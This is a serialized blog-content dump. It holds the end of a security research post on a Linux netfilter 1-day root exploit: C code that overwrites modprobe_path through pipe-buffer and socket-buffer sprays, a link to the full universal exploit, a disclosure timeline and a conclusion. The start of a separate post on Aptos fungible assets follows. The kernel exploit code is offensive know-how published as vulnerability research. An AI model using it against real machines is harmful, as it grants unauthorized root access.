failed\");\n[...]\n",[58281],{"type":20,"tag":119,"props":58282,"children":58283},{"__ignoreMap":7},[58284,58291,58313,58321,58328,58336,58344,58352,58360,58367,58375,58382,58420,58431,58438,58445,58452,58479,58510,58517,58539,58552,58559,58617,58624,58652,58659,58666,58687,58694,58715,58726,58733,58740,58761,58768,58796,58809,58816,58823,58872,58879,58947,58954,58975,58995,59002,59009,59016,59036],{"type":20,"tag":315,"props":58285,"children":58286},{"class":317,"line":318},[58287],{"type":20,"tag":315,"props":58288,"children":58289},{"style":328},[58290],{"type":26,"value":8718},{"type":20,"tag":315,"props":58292,"children":58293},{"class":317,"line":356},[58294,58299,58304,58309],{"type":20,"tag":315,"props":58295,"children":58296},{"style":328},[58297],{"type":26,"value":58298}," puts(\"[*] ",{"type":20,"tag":315,"props":58300,"children":58301},{"style":322},[58302],{"type":26,"value":58303},"overwrite",{"type":20,"tag":315,"props":58305,"children":58306},{"style":322},[58307],{"type":26,"value":58308}," modprobe_path",{"type":20,"tag":315,"props":58310,"children":58311},{"style":2652},[58312],{"type":26,"value":54544},{"type":20,"tag":315,"props":58314,"children":58315},{"class":317,"line":365},[58316],{"type":20,"tag":315,"props":58317,"children":58318},{"style":2652},[58319],{"type":26,"value":58320}," for (int i = 0; i \u003C 4194304; i++)\n",{"type":20,"tag":315,"props":58322,"children":58323},{"class":317,"line":374},[58324],{"type":20,"tag":315,"props":58325,"children":58326},{"style":2652},[58327],{"type":26,"value":27602},{"type":20,"tag":315,"props":58329,"children":58330},{"class":317,"line":383},[58331],{"type":20,"tag":315,"props":58332,"children":58333},{"style":2652},[58334],{"type":26,"value":58335}," pipebuf->page = modprobe_page;\n",{"type":20,"tag":315,"props":58337,"children":58338},{"class":317,"line":407},[58339],{"type":20,"tag":315,"props":58340,"children":58341},{"style":2652},[58342],{"type":26,"value":58343}," pipebuf->offset = modprobe_off;\n",{"type":20,"tag":315,"props":58345,"children":58346},{"class":317,"line":421},[58347],{"type":20,"tag":315,"props":58348,"children":58349},{"style":2652},[58350],{"type":26,"value":58351}," pipebuf->len = 0;\n",{"type":20,"tag":315,"props":58353,"children":58354},{"class":317,"line":430},[58355],{"type":20,"tag":315,"props":58356,"children":58357},{"style":2652},[58358],{"type":26,"value":58359}," for (int i = 0; i \u003C SKBUF_SPRAY; i++)\n",{"type":20,"tag":315,"props":58361,"children":58362},{"class":317,"line":453},[58363],{"type":20,"tag":315,"props":58364,"children":58365},{"style":2652},[58366],{"type":26,"value":30074},{"type":20,"tag":315,"props":58368,"children":58369},{"class":317,"line":486},[58370],{"type":20,"tag":315,"props":58371,"children":58372},{"style":2652},[58373],{"type":26,"value":58374}," if (write(sock[i][0], pipebuf, 1024 - 320) \u003C 0)\n",{"type":20,"tag":315,"props":58376,"children":58377},{"class":317,"line":499},[58378],{"type":20,"tag":315,"props":58379,"children":58380},{"style":2652},[58381],{"type":26,"value":30110},{"type":20,"tag":315,"props":58383,"children":58384},{"class":317,"line":513},[58385,58390,58394,58398,58402,58407,58411,58415],{"type":20,"tag":315,"props":58386,"children":58387},{"style":2652},[58388],{"type":26,"value":58389}," perror(\"",{"type":20,"tag":315,"props":58391,"children":58392},{"style":328},[58393],{"type":26,"value":2117},{"type":20,"tag":315,"props":58395,"children":58396},{"style":334},[58397],{"type":26,"value":478},{"type":20,"tag":315,"props":58399,"children":58400},{"style":328},[58401],{"type":26,"value":7057},{"type":20,"tag":315,"props":58403,"children":58404},{"style":322},[58405],{"type":26,"value":58406},"write",{"type":20,"tag":315,"props":58408,"children":58409},{"style":328},[58410],{"type":26,"value":1049},{"type":20,"tag":315,"props":58412,"children":58413},{"style":322},[58414],{"type":26,"value":40356},{"type":20,"tag":315,"props":58416,"children":58417},{"style":328},[58418],{"type":26,"value":58419},")\");\n",{"type":20,"tag":315,"props":58421,"children":58422},{"class":317,"line":521},[58423,58427],{"type":20,"tag":315,"props":58424,"children":58425},{"style":525},[58426],{"type":26,"value":57213},{"type":20,"tag":315,"props":58428,"children":58429},{"style":328},[58430],{"type":26,"value":1405},{"type":20,"tag":315,"props":58432,"children":58433},{"class":317,"line":552},[58434],{"type":20,"tag":315,"props":58435,"children":58436},{"style":328},[58437],{"type":26,"value":57138},{"type":20,"tag":315,"props":58439,"children":58440},{"class":317,"line":571},[58441],{"type":20,"tag":315,"props":58442,"children":58443},{"style":328},[58444],{"type":26,"value":1728},{"type":20,"tag":315,"props":58446,"children":58447},{"class":317,"line":2031},[58448],{"type":20,"tag":315,"props":58449,"children":58450},{"emptyLinePlaceholder":15},[58451],{"type":26,"value":427},{"type":20,"tag":315,"props":58453,"children":58454},{"class":317,"line":2053},[58455,58459,58463,58467,58471,58475],{"type":20,"tag":315,"props":58456,"children":58457},{"style":345},[58458],{"type":26,"value":52869},{"type":20,"tag":315,"props":58460,"children":58461},{"style":328},[58462],{"type":26,"value":1049},{"type":20,"tag":315,"props":58464,"children":58465},{"style":334},[58466],{"type":26,"value":1490},{"type":20,"tag":315,"props":58468,"children":58469},{"style":328},[58470],{"type":26,"value":57024},{"type":20,"tag":315,"props":58472,"children":58473},{"style":765},[58474],{"type":26,"value":1063},{"type":20,"tag":315,"props":58476,"children":58477},{"style":328},[58478],{"type":26,"value":57033},{"type":20,"tag":315,"props":58480,"children":58481},{"class":317,"line":2061},[58482,58486,58491,58495,58500,58505],{"type":20,"tag":315,"props":58483,"children":58484},{"style":345},[58485],{"type":26,"value":53570},{"type":20,"tag":315,"props":58487,"children":58488},{"style":328},[58489],{"type":26,"value":58490},"(fd_path, ",{"type":20,"tag":315,"props":58492,"children":58493},{"style":541},[58494],{"type":26,"value":53580},{"type":20,"tag":315,"props":58496,"children":58497},{"style":328},[58498],{"type":26,"value":58499},"(fd_path), ",{"type":20,"tag":315,"props":58501,"children":58502},{"style":2652},[58503],{"type":26,"value":58504},"\"/proc/%i/fd/%i\"",{"type":20,"tag":315,"props":58506,"children":58507},{"style":328},[58508],{"type":26,"value":58509},", i, modprobe_fd);\n",{"type":20,"tag":315,"props":58511,"children":58512},{"class":317,"line":2070},[58513],{"type":20,"tag":315,"props":58514,"children":58515},{"emptyLinePlaceholder":15},[58516],{"type":26,"value":427},{"type":20,"tag":315,"props":58518,"children":58519},{"class":317,"line":2139},[58520,58525,58530,58534],{"type":20,"tag":315,"props":58521,"children":58522},{"style":345},[58523],{"type":26,"value":58524}," lseek",{"type":20,"tag":315,"props":58526,"children":58527},{"style":328},[58528],{"type":26,"value":58529},"(modprobe_fd, ",{"type":20,"tag":315,"props":58531,"children":58532},{"style":765},[58533],{"type":26,"value":1063},{"type":20,"tag":315,"props":58535,"children":58536},{"style":328},[58537],{"type":26,"value":58538},", SEEK_SET);\n",{"type":20,"tag":315,"props":58540,"children":58541},{"class":317,"line":2147},[58542,58547],{"type":20,"tag":315,"props":58543,"children":58544},{"style":345},[58545],{"type":26,"value":58546}," dprintf",{"type":20,"tag":315,"props":58548,"children":58549},{"style":328},[58550],{"type":26,"value":58551},"(modprobe_fd, MODPROBE_SCRIPT, i, status_fd, i, stdin_fd, i, stdout_fd);\n",{"type":20,"tag":315,"props":58553,"children":58554},{"class":317,"line":2177},[58555],{"type":20,"tag":315,"props":58556,"children":58557},{"emptyLinePlaceholder":15},[58558],{"type":26,"value":427},{"type":20,"tag":315,"props":58560,"children":58561},{"class":317,"line":2185},[58562,58566,58570,58574,58578,58582,58587,58591,58596,58601,58605,58609,58613],{"type":20,"tag":315,"props":58563,"children":58564},{"style":525},[58565],{"type":26,"value":1654},{"type":20,"tag":315,"props":58567,"children":58568},{"style":328},[58569],{"type":26,"value":463},{"type":20,"tag":315,"props":58571,"children":58572},{"style":345},[58573],{"type":26,"value":58406},{"type":20,"tag":315,"props":58575,"children":58576},{"style":328},[58577],{"type":26,"value":1049},{"type":20,"tag":315,"props":58579,"children":58580},{"style":635},[58581],{"type":26,"value":57077},{"type":20,"tag":315,"props":58583,"children":58584},{"style":328},[58585],{"type":26,"value":58586},"[pipe_idx][",{"type":20,"tag":315,"props":58588,"children":58589},{"style":765},[58590],{"type":26,"value":2406},{"type":20,"tag":315,"props":58592,"children":58593},{"style":328},[58594],{"type":26,"value":58595},"], fd_path, ",{"type":20,"tag":315,"props":58597,"children":58598},{"style":765},[58599],{"type":26,"value":58600},"32",{"type":20,"tag":315,"props":58602,"children":58603},{"style":328},[58604],{"type":26,"value":1468},{"type":20,"tag":315,"props":58606,"children":58607},{"style":334},[58608],{"type":26,"value":4199},{"type":20,"tag":315,"props":58610,"children":58611},{"style":765},[58612],{"type":26,"value":985},{"type":20,"tag":315,"props":58614,"children":58615},{"style":328},[58616],{"type":26,"value":380},{"type":20,"tag":315,"props":58618,"children":58619},{"class":317,"line":2217},[58620],{"type":20,"tag":315,"props":58621,"children":58622},{"style":328},[58623],{"type":26,"value":30074},{"type":20,"tag":315,"props":58625,"children":58626},{"class":317,"line":2225},[58627,58631,58635,58639,58643,58648],{"type":20,"tag":315,"props":58628,"children":58629},{"style":345},[58630],{"type":26,"value":56150},{"type":20,"tag":315,"props":58632,"children":58633},{"style":328},[58634],{"type":26,"value":1049},{"type":20,"tag":315,"props":58636,"children":58637},{"style":2652},[58638],{"type":26,"value":18463},{"type":20,"tag":315,"props":58640,"children":58641},{"style":46624},[58642],{"type":26,"value":46627},{"type":20,"tag":315,"props":58644,"children":58645},{"style":2652},[58646],{"type":26,"value":58647},"[-] write(pipe)\"",{"type":20,"tag":315,"props":58649,"children":58650},{"style":328},[58651],{"type":26,"value":2214},{"type":20,"tag":315,"props":58653,"children":58654},{"class":317,"line":2285},[58655],{"type":20,"tag":315,"props":58656,"children":58657},{"style":328},[58658],{"type":26,"value":1728},{"type":20,"tag":315,"props":58660,"children":58661},{"class":317,"line":7444},[58662],{"type":20,"tag":315,"props":58663,"children":58664},{"emptyLinePlaceholder":15},[58665],{"type":26,"value":427},{"type":20,"tag":315,"props":58667,"children":58668},{"class":317,"line":7462},[58669,58673,58677,58682],{"type":20,"tag":315,"props":58670,"children":58671},{"style":525},[58672],{"type":26,"value":1654},{"type":20,"tag":315,"props":58674,"children":58675},{"style":328},[58676],{"type":26,"value":463},{"type":20,"tag":315,"props":58678,"children":58679},{"style":345},[58680],{"type":26,"value":58681},"check_modprobe",{"type":20,"tag":315,"props":58683,"children":58684},{"style":328},[58685],{"type":26,"value":58686},"(fd_path))\n",{"type":20,"tag":315,"props":58688,"children":58689},{"class":317,"line":7507},[58690],{"type":20,"tag":315,"props":58691,"children":58692},{"style":328},[58693],{"type":26,"value":30074},{"type":20,"tag":315,"props":58695,"children":58696},{"class":317,"line":7613},[58697,58702,58706,58711],{"type":20,"tag":315,"props":58698,"children":58699},{"style":345},[58700],{"type":26,"value":58701}," puts",{"type":20,"tag":315,"props":58703,"children":58704},{"style":328},[58705],{"type":26,"value":1049},{"type":20,"tag":315,"props":58707,"children":58708},{"style":2652},[58709],{"type":26,"value":58710},"\"[-] failed to overwrite modprobe\"",{"type":20,"tag":315,"props":58712,"children":58713},{"style":328},[58714],{"type":26,"value":2214},{"type":20,"tag":315,"props":58716,"children":58717},{"class":317,"line":21914},[58718,58722],{"type":20,"tag":315,"props":58719,"children":58720},{"style":525},[58721],{"type":26,"value":1680},{"type":20,"tag":315,"props":58723,"children":58724},{"style":328},[58725],{"type":26,"value":1405},{"type":20,"tag":315,"props":58727,"children":58728},{"class":317,"line":21949},[58729],{"type":20,"tag":315,"props":58730,"children":58731},{"style":328},[58732],{"type":26,"value":1728},{"type":20,"tag":315,"props":58734,"children":58735},{"class":317,"line":21957},[58736],{"type":20,"tag":315,"props":58737,"children":58738},{"emptyLinePlaceholder":15},[58739],{"type":26,"value":427},{"type":20,"tag":315,"props":58741,"children":58742},{"class":317,"line":21965},[58743,58747,58751,58756],{"type":20,"tag":315,"props":58744,"children":58745},{"style":525},[58746],{"type":26,"value":1654},{"type":20,"tag":315,"props":58748,"children":58749},{"style":328},[58750],{"type":26,"value":463},{"type":20,"tag":315,"props":58752,"children":58753},{"style":345},[58754],{"type":26,"value":58755},"trigger_modprobe",{"type":20,"tag":315,"props":58757,"children":58758},{"style":328},[58759],{"type":26,"value":58760},"(status_fd))\n",{"type":20,"tag":315,"props":58762,"children":58763},{"class":317,"line":21974},[58764],{"type":20,"tag":315,"props":58765,"children":58766},{"style":328},[58767],{"type":26,"value":30074},{"type":20,"tag":315,"props":58769,"children":58770},{"class":317,"line":22016},[58771,58775,58779,58783,58787,58792],{"type":20,"tag":315,"props":58772,"children":58773},{"style":345},[58774],{"type":26,"value":58701},{"type":20,"tag":315,"props":58776,"children":58777},{"style":328},[58778],{"type":26,"value":1049},{"type":20,"tag":315,"props":58780,"children":58781},{"style":2652},[58782],{"type":26,"value":18463},{"type":20,"tag":315,"props":58784,"children":58785},{"style":46624},[58786],{"type":26,"value":46627},{"type":20,"tag":315,"props":58788,"children":58789},{"style":2652},[58790],{"type":26,"value":58791},"[+] got root\"",{"type":20,"tag":315,"props":58793,"children":58794},{"style":328},[58795],{"type":26,"value":2214},{"type":20,"tag":315,"props":58797,"children":58798},{"class":317,"line":22049},[58799,58804],{"type":20,"tag":315,"props":58800,"children":58801},{"style":525},[58802],{"type":26,"value":58803}," goto",{"type":20,"tag":315,"props":58805,"children":58806},{"style":328},[58807],{"type":26,"value":58808}," out;\n",{"type":20,"tag":315,"props":58810,"children":58811},{"class":317,"line":22057},[58812],{"type":20,"tag":315,"props":58813,"children":58814},{"style":328},[58815],{"type":26,"value":1728},{"type":20,"tag":315,"props":58817,"children":58818},{"class":317,"line":22065},[58819],{"type":20,"tag":315,"props":58820,"children":58821},{"emptyLinePlaceholder":15},[58822],{"type":26,"value":427},{"type":20,"tag":315,"props":58824,"children":58825},{"class":317,"line":22074},[58826,58831,58835,58839,58843,58847,58851,58855,58859,58864,58868],{"type":20,"tag":315,"props":58827,"children":58828},{"style":525},[58829],{"type":26,"value":58830}," for",{"type":20,"tag":315,"props":58832,"children":58833},{"style":328},[58834],{"type":26,"value":463},{"type":20,"tag":315,"props":58836,"children":58837},{"style":541},[58838],{"type":26,"value":17451},{"type":20,"tag":315,"props":58840,"children":58841},{"style":328},[58842],{"type":26,"value":52796},{"type":20,"tag":315,"props":58844,"children":58845},{"style":334},[58846],{"type":26,"value":337},{"type":20,"tag":315,"props":58848,"children":58849},{"style":765},[58850],{"type":26,"value":985},{"type":20,"tag":315,"props":58852,"children":58853},{"style":328},[58854],{"type":26,"value":49485},{"type":20,"tag":315,"props":58856,"children":58857},{"style":334},[58858],{"type":26,"value":4199},{"type":20,"tag":315,"props":58860,"children":58861},{"style":328},[58862],{"type":26,"value":58863}," SKBUF_SPRAY; i",{"type":20,"tag":315,"props":58865,"children":58866},{"style":334},[58867],{"type":26,"value":49521},{"type":20,"tag":315,"props":58869,"children":58870},{"style":328},[58871],{"type":26,"value":380},{"type":20,"tag":315,"props":58873,"children":58874},{"class":317,"line":22150},[58875],{"type":20,"tag":315,"props":58876,"children":58877},{"style":328},[58878],{"type":26,"value":30074},{"type":20,"tag":315,"props":58880,"children":58881},{"class":317,"line":22183},[58882,58886,58890,58895,58899,58904,58909,58913,58918,58922,58926,58931,58935,58939,58943],{"type":20,"tag":315,"props":58883,"children":58884},{"style":525},[58885],{"type":26,"value":57054},{"type":20,"tag":315,"props":58887,"children":58888},{"style":328},[58889],{"type":26,"value":463},{"type":20,"tag":315,"props":58891,"children":58892},{"style":345},[58893],{"type":26,"value":58894},"read",{"type":20,"tag":315,"props":58896,"children":58897},{"style":328},[58898],{"type":26,"value":1049},{"type":20,"tag":315,"props":58900,"children":58901},{"style":635},[58902],{"type":26,"value":58903},"sock",{"type":20,"tag":315,"props":58905,"children":58906},{"style":328},[58907],{"type":26,"value":58908},"[i][",{"type":20,"tag":315,"props":58910,"children":58911},{"style":765},[58912],{"type":26,"value":2406},{"type":20,"tag":315,"props":58914,"children":58915},{"style":328},[58916],{"type":26,"value":58917},"], leak, ",{"type":20,"tag":315,"props":58919,"children":58920},{"style":765},[58921],{"type":26,"value":56401},{"type":20,"tag":315,"props":58923,"children":58924},{"style":334},[58925],{"type":26,"value":49507},{"type":20,"tag":315,"props":58927,"children":58928},{"style":765},[58929],{"type":26,"value":58930}," 320",{"type":20,"tag":315,"props":58932,"children":58933},{"style":328},[58934],{"type":26,"value":1468},{"type":20,"tag":315,"props":58936,"children":58937},{"style":334},[58938],{"type":26,"value":4199},{"type":20,"tag":315,"props":58940,"children":58941},{"style":765},[58942],{"type":26,"value":985},{"type":20,"tag":315,"props":58944,"children":58945},{"style":328},[58946],{"type":26,"value":380},{"type":20,"tag":315,"props":58948,"children":58949},{"class":317,"line":22191},[58950],{"type":20,"tag":315,"props":58951,"children":58952},{"style":328},[58953],{"type":26,"value":30110},{"type":20,"tag":315,"props":58955,"children":58956},{"class":317,"line":22199},[58957,58962,58966,58971],{"type":20,"tag":315,"props":58958,"children":58959},{"style":345},[58960],{"type":26,"value":58961}," perror",{"type":20,"tag":315,"props":58963,"children":58964},{"style":328},[58965],{"type":26,"value":1049},{"type":20,"tag":315,"props":58967,"children":58968},{"style":2652},[58969],{"type":26,"value":58970},"\"[-] read(socket)\"",{"type":20,"tag":315,"props":58972,"children":58973},{"style":328},[58974],{"type":26,"value":2214},{"type":20,"tag":315,"props":58976,"children":58977},{"class":317,"line":22236},[58978,58983,58987,58991],{"type":20,"tag":315,"props":58979,"children":58980},{"style":525},[58981],{"type":26,"value":58982}," return",{"type":20,"tag":315,"props":58984,"children":58985},{"style":334},[58986],{"type":26,"value":49507},{"type":20,"tag":315,"props":58988,"children":58989},{"style":765},[58990],{"type":26,"value":2406},{"type":20,"tag":315,"props":58992,"children":58993},{"style":328},[58994],{"type":26,"value":1405},{"type":20,"tag":315,"props":58996,"children":58997},{"class":317,"line":22249},[58998],{"type":20,"tag":315,"props":58999,"children":59000},{"style":328},[59001],{"type":26,"value":57138},{"type":20,"tag":315,"props":59003,"children":59004},{"class":317,"line":22262},[59005],{"type":20,"tag":315,"props":59006,"children":59007},{"style":328},[59008],{"type":26,"value":1728},{"type":20,"tag":315,"props":59010,"children":59011},{"class":317,"line":22275},[59012],{"type":20,"tag":315,"props":59013,"children":59014},{"style":328},[59015],{"type":26,"value":1736},{"type":20,"tag":315,"props":59017,"children":59018},{"class":317,"line":22329},[59019,59023,59027,59032],{"type":20,"tag":315,"props":59020,"children":59021},{"style":345},[59022],{"type":26,"value":53759},{"type":20,"tag":315,"props":59024,"children":59025},{"style":328},[59026],{"type":26,"value":1049},{"type":20,"tag":315,"props":59028,"children":59029},{"style":2652},[59030],{"type":26,"value":59031},"\"[-] fake modprobe failed\"",{"type":20,"tag":315,"props":59033,"children":59034},{"style":328},[59035],{"type":26,"value":2214},{"type":20,"tag":315,"props":59037,"children":59038},{"class":317,"line":22338},[59039],{"type":20,"tag":315,"props":59040,"children":59041},{"style":328},[59042],{"type":26,"value":8718},{"type":20,"tag":29,"props":59044,"children":59045},{},[59046,59048,59055],{"type":26,"value":59047},"This trick has already been throughly detailed by ",{"type":20,"tag":35,"props":59049,"children":59052},{"href":59050,"rel":59051},"https://pwning.tech/nftables/#28-overwriting-modprobepath",[39],[59053],{"type":26,"value":59054},"lau",{"type":26,"value":59056},", so we won't go much more into it.",{"type":20,"tag":219,"props":59058,"children":59060},{"id":59059},"universal-exploit-demo",[59061],{"type":26,"value":59062},"Universal exploit demo",{"type":20,"tag":29,"props":59064,"children":59065},{},[59066,59068,59074],{"type":26,"value":59067},"{%youtube tjbp4Mtfo8w %}\nYou can find the complete universal exploit in our ",{"type":20,"tag":35,"props":59069,"children":59072},{"href":59070,"rel":59071},"https://github.com/otter-sec/OtterRoot/blob/master/universal/exploit.c",[39],[59073],{"type":26,"value":55668},{"type":26,"value":61},{"type":20,"tag":21,"props":59076,"children":59078},{"id":59077},"disclosure-timeline",[59079],{"type":26,"value":59080},"Disclosure Timeline",{"type":20,"tag":15089,"props":59082,"children":59083},{},[59084,59089,59094,59099,59104],{"type":20,"tag":72,"props":59085,"children":59086},{},[59087],{"type":26,"value":59088},"March 21st -- Patch made public",{"type":20,"tag":72,"props":59090,"children":59091},{},[59092],{"type":26,"value":59093},"March 23rd -- Scrolled through commits and found the bug fix.",{"type":20,"tag":72,"props":59095,"children":59096},{},[59097],{"type":26,"value":59098},"March 24th -- Wrote KernelCTF exploit",{"type":20,"tag":72,"props":59100,"children":59101},{},[59102],{"type":26,"value":59103},"March 26th -- Wrote Universal exploit",{"type":20,"tag":72,"props":59105,"children":59106},{},[59107],{"type":26,"value":59108},"May 23rd -- Patch landed on Ubuntu and Debian",{"type":20,"tag":29,"props":59110,"children":59111},{},[59112],{"type":26,"value":59113},"Note that the universal exploit was alive for roughly 2 months against popular distros.",{"type":20,"tag":21,"props":59115,"children":59116},{"id":1211},[59117],{"type":26,"value":1214},{"type":20,"tag":29,"props":59119,"children":59120},{},[59121],{"type":26,"value":59122},"In this post, I have discussed how a bug fixed by a commit freshly made public can be used to exploit the latest stable releases of the kernel and maintain 0day-like primitives for an extended period. I've also discussed two different paths to exploit the vulnerability: one that I used to exploit the KernelCTF instance and retrieve the flag and a second one that I used to craft a universal exploit binary that works stably in all tested targets without needing to be adapted or even recompiled.",{"type":20,"tag":29,"props":59124,"children":59125},{},[59126],{"type":26,"value":59127},"What we have observed is not novel; despite the efforts and progress made by the Linux community to improve kernel security, it's been made evident that the supply of exploitable bugs is still virtually unlimited and that the open-source patch gap is long enough to maintain capabilities that are live.",{"type":20,"tag":1226,"props":59129,"children":59130},{},[59131],{"type":26,"value":1230},{"title":7,"searchDepth":356,"depth":356,"links":59133},[59134,59137,59140,59143,59144,59154,59162,59163],{"id":48819,"depth":356,"text":48822,"children":59135},[59136],{"id":48840,"depth":365,"text":48843},{"id":48883,"depth":356,"text":48883,"children":59138},[59139],{"id":48930,"depth":365,"text":48933},{"id":48988,"depth":356,"text":48991,"children":59141},[59142],{"id":50151,"depth":365,"text":50154},{"id":52026,"depth":356,"text":52029},{"id":52428,"depth":356,"text":52431,"children":59145},[59146,59147,59148,59150,59151,59152,59153],{"id":52455,"depth":365,"text":52458},{"id":53337,"depth":365,"text":53340},{"id":53923,"depth":365,"text":59149},"Leaking self pointer of nft_object",{"id":54321,"depth":365,"text":54324},{"id":54835,"depth":365,"text":54838},{"id":54965,"depth":365,"text":54622},{"id":55649,"depth":365,"text":55652},{"id":55672,"depth":356,"text":55675,"children":59155},[59156,59157,59158,59159,59161],{"id":55683,"depth":365,"text":55686},{"id":56541,"depth":365,"text":56544},{"id":56617,"depth":365,"text":56620},{"id":58242,"depth":365,"text":59160},"Overwriting modprobe_path",{"id":59059,"depth":365,"text":59062},{"id":59077,"depth":356,"text":59080},{"id":1211,"depth":356,"text":1214},"content:blog:2024-11-25-netfilter-universal-root-1-day.md","blog/2024-11-25-netfilter-universal-root-1-day.md","blog/2024-11-25-netfilter-universal-root-1-day",{"_path":59168,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":59169,"description":59170,"image":59171,"date":59173,"isFeatured":15,"onBlogPage":15,"tags":59174,"body":59175,"_type":1242,"_id":65893,"_source":1244,"_file":65894,"_stem":65895,"_extension":1247},"/blog/2025-02-10-hitchhikers-guide-to-aptos-fungible-assets","Hitchhiker's Guide to Aptos Fungible Assets","We take a deep dive into Aptos’ implementation of fungible assets, exploring the intricacies hidden within its functions, objects, and interactions. While the Fungible Asset model was designed to address the limitations and security flaws of the legacy Coin standard, it also introduced new challenges and vulnerabilities that developers should be aware of.",{"src":59172,"width":3778,"height":3779},"/posts/aptos-guide/title.png","2025-02-10",[4273],{"type":17,"children":59176,"toc":65877},[59177,59190,59195,59204,59210,59238,59311,59351,59385,59546,59565,59646,59686,59714,59731,59736,59744,59749,59755,59776,59856,59889,59897,59910,59915,60299,60304,60309,60315,60320,60332,60436,60474,60477,60495,60803,60808,60820,60826,60852,60873,60878,61057,61077,61083,61103,61115,61120,61126,61138,61201,61228,61252,61473,61476,61495,61605,61662,61798,61825,61831,61857,62101,62129,62431,62464,62478,62504,62537,62844,62856,63133,63147,63464,63483,63489,63521,63561,63662,63682,63802,63819,63893,63905,63993,64014,64020,64025,64030,64047,64068,64439,64498,64503,64954,64959,64995,65001,65013,65035,65061,65268,65282,65537,65549,65576,65727,65746,65776,65780,65791,65796,65809,65873],{"type":20,"tag":29,"props":59178,"children":59179},{},[59180,59182,59188],{"type":26,"value":59181},"Aptos’ fungible asset model is a complex component of its ecosystem, designed to address the limitations of its predecessor — the ",{"type":20,"tag":119,"props":59183,"children":59185},{"className":59184},[],[59186],{"type":26,"value":59187},"coin",{"type":26,"value":59189}," standard. While the new model aims to enhance functionality and security, it also comes with its own set of challenges.",{"type":20,"tag":29,"props":59191,"children":59192},{},[59193],{"type":26,"value":59194},"In this blog post, we'll closely examine Aptos's coin and fungible asset models, exploring their history and connection. We will examine key aspects of the fungible asset framework, including real-world examples of vulnerabilities that were identified and addressed, with the goal of improving security and reliability — all to help you build more secure and reliable applications.",{"type":20,"tag":59196,"props":59197,"children":59198},"important",{},[59199],{"type":20,"tag":29,"props":59200,"children":59201},{},[59202],{"type":26,"value":59203},"All issues mentioned were identified and addressed during Aptos' rigorous pre-release audits, demonstrating the project's dedication to delivering a robust and secure environment from day one.",{"type":20,"tag":21,"props":59205,"children":59207},{"id":59206},"aptos-coin-standard",[59208],{"type":26,"value":59209},"Aptos Coin standard",{"type":20,"tag":29,"props":59211,"children":59212},{},[59213,59215,59221,59223,59228,59229,59236],{"type":26,"value":59214},"In the beginning, Aptos used ",{"type":20,"tag":119,"props":59216,"children":59218},{"className":59217},[],[59219],{"type":26,"value":59220},"Coin",{"type":26,"value":59222},". It is still in use, although it is now considered \"legacy\". ",{"type":20,"tag":119,"props":59224,"children":59226},{"className":59225},[],[59227],{"type":26,"value":59220},{"type":26,"value":3894},{"type":20,"tag":35,"props":59230,"children":59233},{"href":59231,"rel":59232},"https://github.com/aptos-labs/aptos-core/blob/1381c93fd5a656f16fb326d4ffe371947554a330/aptos-move/framework/aptos-framework/sources/coin.move#L119-L123",[39],[59234],{"type":26,"value":59235},"defined",{"type":26,"value":59237}," in Aptos as follows:",{"type":20,"tag":305,"props":59239,"children":59241},{"className":1360,"code":59240,"language":1359,"meta":7,"style":7},"struct Coin\u003Cphantom CoinType> has store {\n value: u64,\n}\n",[59242],{"type":20,"tag":119,"props":59243,"children":59244},{"__ignoreMap":7},[59245,59284,59304],{"type":20,"tag":315,"props":59246,"children":59247},{"class":317,"line":318},[59248,59252,59256,59260,59264,59268,59272,59276,59280],{"type":20,"tag":315,"props":59249,"children":59250},{"style":541},[59251],{"type":26,"value":7800},{"type":20,"tag":315,"props":59253,"children":59254},{"style":322},[59255],{"type":26,"value":4194},{"type":20,"tag":315,"props":59257,"children":59258},{"style":328},[59259],{"type":26,"value":4199},{"type":20,"tag":315,"props":59261,"children":59262},{"style":635},[59263],{"type":26,"value":4204},{"type":20,"tag":315,"props":59265,"children":59266},{"style":322},[59267],{"type":26,"value":4209},{"type":20,"tag":315,"props":59269,"children":59270},{"style":328},[59271],{"type":26,"value":4214},{"type":20,"tag":315,"props":59273,"children":59274},{"style":635},[59275],{"type":26,"value":4219},{"type":20,"tag":315,"props":59277,"children":59278},{"style":635},[59279],{"type":26,"value":4224},{"type":20,"tag":315,"props":59281,"children":59282},{"style":328},[59283],{"type":26,"value":1092},{"type":20,"tag":315,"props":59285,"children":59286},{"class":317,"line":356},[59287,59292,59296,59300],{"type":20,"tag":315,"props":59288,"children":59289},{"style":635},[59290],{"type":26,"value":59291}," value",{"type":20,"tag":315,"props":59293,"children":59294},{"style":334},[59295],{"type":26,"value":2884},{"type":20,"tag":315,"props":59297,"children":59298},{"style":322},[59299],{"type":26,"value":4253},{"type":20,"tag":315,"props":59301,"children":59302},{"style":328},[59303],{"type":26,"value":643},{"type":20,"tag":315,"props":59305,"children":59306},{"class":317,"line":365},[59307],{"type":20,"tag":315,"props":59308,"children":59309},{"style":328},[59310],{"type":26,"value":577},{"type":20,"tag":29,"props":59312,"children":59313},{},[59314,59316,59321,59323,59329,59330,59336,59338,59343,59345,59350],{"type":26,"value":59315},"Aptos distinguishes coins by their type (",{"type":20,"tag":119,"props":59317,"children":59319},{"className":59318},[],[59320],{"type":26,"value":4978},{"type":26,"value":59322},") at compile time. For example, ",{"type":20,"tag":119,"props":59324,"children":59326},{"className":59325},[],[59327],{"type":26,"value":59328},"Coin\u003COtter>",{"type":26,"value":9392},{"type":20,"tag":119,"props":59331,"children":59333},{"className":59332},[],[59334],{"type":26,"value":59335},"Coin\u003CWeasel>",{"type":26,"value":59337}," represent different coins, and you cannot pass a ",{"type":20,"tag":119,"props":59339,"children":59341},{"className":59340},[],[59342],{"type":26,"value":59335},{"type":26,"value":59344}," to a function expecting ",{"type":20,"tag":119,"props":59346,"children":59348},{"className":59347},[],[59349],{"type":26,"value":59328},{"type":26,"value":61},{"type":20,"tag":29,"props":59352,"children":59353},{},[59354,59356,59361,59363,59368,59370,59375,59377,59383],{"type":26,"value":59355},"The type signature reveals why ",{"type":20,"tag":119,"props":59357,"children":59359},{"className":59358},[],[59360],{"type":26,"value":59220},{"type":26,"value":59362}," has become a legacy standard. ",{"type":20,"tag":119,"props":59364,"children":59366},{"className":59365},[],[59367],{"type":26,"value":59220},{"type":26,"value":59369}," has only the ",{"type":20,"tag":119,"props":59371,"children":59373},{"className":59372},[],[59374],{"type":26,"value":4334},{"type":26,"value":59376}," ability and uses a ",{"type":20,"tag":119,"props":59378,"children":59380},{"className":59379},[],[59381],{"type":26,"value":59382},"CoinStore",{"type":26,"value":59384}," wrapper to store the coin and 